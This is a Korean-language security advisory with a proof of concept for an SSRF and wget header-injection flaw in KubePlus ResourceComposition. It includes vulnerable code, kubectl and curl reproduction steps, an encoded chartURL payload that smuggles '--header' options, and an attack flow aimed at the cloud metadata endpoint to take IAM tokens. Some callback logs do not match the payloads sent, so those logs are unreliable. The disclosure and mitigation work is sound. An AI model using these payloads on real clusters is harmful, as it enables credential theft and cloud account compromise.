
개념 증명(PoC)으로, KubePlus ResourceComposition에서 SSRF 및 HTTP 헤더 주입을 시연하여 클라우드 메타데이터 접근과 IAM 자격 증명 탈취를 가능하게 합니다.
이 취약점은 KubePlus의 ResourceComposition 리소스 처리 구성 요소에 존재하며, Provider 권한을 가진 공격자가 악의적인 chartURL 매개변수를 조작하여 SSRF를 통해 내부 서비스를 접근하고, wget 명령어 주입을 통해 임의의 HTTP 요청 헤더를 주입할 수 있습니다. 이를 통해 공격자는 특정 헤더를 요구하는 클라우드 메타데이터 서비스(예: GCP는 Metadata-Flavor: Google 헤더 필요)에 접근하여 IAM 자격 증명을 탈취할 수 있습니다. 보고 권장 CWE: CWE-918(서버 측 요청 위조).
KubePlus의 mutating webhook 및 kubeconfiggenerator 구성 요소는 ResourceComposition 리소스의 chartURL 필드를 처리할 때 SSRF 취약점이 있습니다. 이 필드는 대상 주소를 검증하지 않고 URL 인코딩만 수행합니다. 더 중요하게는, kubeconfiggenerator가 wget을 사용하여 차트를 다운로드할 때 chartURL이 명령어에 직접 연결되어 공격자가 wget의 --header 옵션을 주입하여 임의의 HTTP 헤더 주입을 달성할 수 있습니다.
SSRF 진입점 - mutating-webhook/utils.go:986-995:
func LintChart(chartURL string) []byte {
encodedChartURL := url.QueryEscape(chartURL)
args := fmt.Sprintf("chartURL=%s", encodedChartURL)
var url1 string
url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificationServicePort, args)
body := queryKubeDiscoveryService(url1)
return body
}
헤더 주입 지점 - deploy/kubeconfiggenerator.py:552-558:
def download_and_untar_chart(chartLoc, chartName):
if chartLoc.startswith("https"):
charttgz = chartName + ".tgz"
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)
chartURL이 wget 명령어에 직접 연결되어 공격자가 --header 옵션을 주입할 수 있습니다.
--header 옵션을 주입하여 임의의 HTTP 요청 헤더를 추가할 수 있습니다.kind create cluster --name kubeplus-test
helm repo add kubeplus https://cloud-ark.github.io/kubeplus
helm install kubeplus kubeplus/kubeplus -n default
kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s
python3 provider-kubeconfig.py create default
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: ssrf-callback
labels:
app: ssrf-callback
spec:
containers:
- name: callback
image: python:3.9-slim
command: ["python3", "-c", "
from http.server import HTTPServer, BaseHTTPRequestHandler
from datetime import datetime
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f'[{datetime.now()}] GET {self.path}')
print('Headers:')
for h, v in self.headers.items():
print(f' {h}: {v}')
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"]
ports:
- containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
name: ssrf-callback
spec:
selector:
app: ssrf-callback
ports:
- port: 8080
EOF
# SSRF 페이로드로 ResourceComposition 생성
kubectl --kubeconfig=/tmp/provider.kubeconfig apply -f - <<EOF
apiVersion: workflows.kubeplus/v1alpha1
kind: ResourceComposition
metadata:
name: ssrf-test
spec:
newResource:
resource:
kind: SsrfApp
group: ssrf.kubeplus
version: v1
plural: ssrfapps
chartURL: "http://ssrf-callback.default.svc:8080/ssrf-test"
chartName: ssrf-test
EOF
콜백 서버 로그 출력:
[2026-02-01T15:48:02.514357] GET /ssrf-basic-test
Headers:
Host: ssrf-callback.default.svc:8080
User-Agent: Helm/3.12.1
# kubeconfighelper로 포트 포워딩 설정
kubectl port-forward svc/kubeconfighelper 5005:91 &
# Metadata-Flavor 헤더 주입(GCP 메타데이터 서비스에 필요)
PAYLOAD='https://fake --header "Metadata-Flavor: Google" http://ssrf-callback.default.svc:8080/header-test'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")
curl "http://localhost:5005/registercrd?kind=Test&version=v1&group=test.kubeplus&plural=tests&chartURL=$ENCODED&chartName=test"
콜백 서버 로그 출력:
[2026-02-01T15:50:13.988222] GET /header-injection-test
Headers:
Host: ssrf-callback.default.svc:8080
User-Agent: Wget/1.21.2
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Metadata-Flavor: Google
PAYLOAD='https://fake --header "X-Custom-1: Value1" --header "Authorization: Bearer token" http://ssrf-callback.default.svc:8080/multi-header'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")
curl "http://localhost:5005/registercrd?kind=Multi&version=v1&group=multi.kubeplus&plural=multis&chartURL=$ENCODED&chartName=multi"
콜백 서버 로그 출력:
[2026-02-01T15:50:38.565682] GET /multi-header-test
Headers:
Host: ssrf-callback.default.svc:8080
User-Agent: Wget/1.21.2
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
X-Custom-Header-1: Value1
X-Custom-Header-2: Value2
Authorization: Bearer stolen-token
Metadata-Flavor: Google 헤더를 주입하여 GCP 메타데이터 서비스에 접근할 수 있습니다.공격자(Provider 권한)
|
v
ResourceComposition 생성 (chartURL = "https://x --header 'Metadata-Flavor: Google' http://169.254.169.254/...")
|
v
KubePlus Webhook이 요청 처리
|
v
kubeconfiggenerator 실행: wget -O /chart.tgz --no-check-certificate https://x --header "Metadata-Flavor: Google" http://169.254.169.254/...
|
v
GCP 메타데이터 서비스 접근, IAM 토큰 획득
|
v
IAM 토큰을 사용하여 클라우드 리소스 접근
CVSS 3.1 점수: 8.5(높음) 벡터: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: kubeplus-egress-restrict
spec:
podSelector:
matchLabels:
app: kubeplus
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
크레딧: @b0b0haha ([email protected]) @lixingquzhi ([email protected])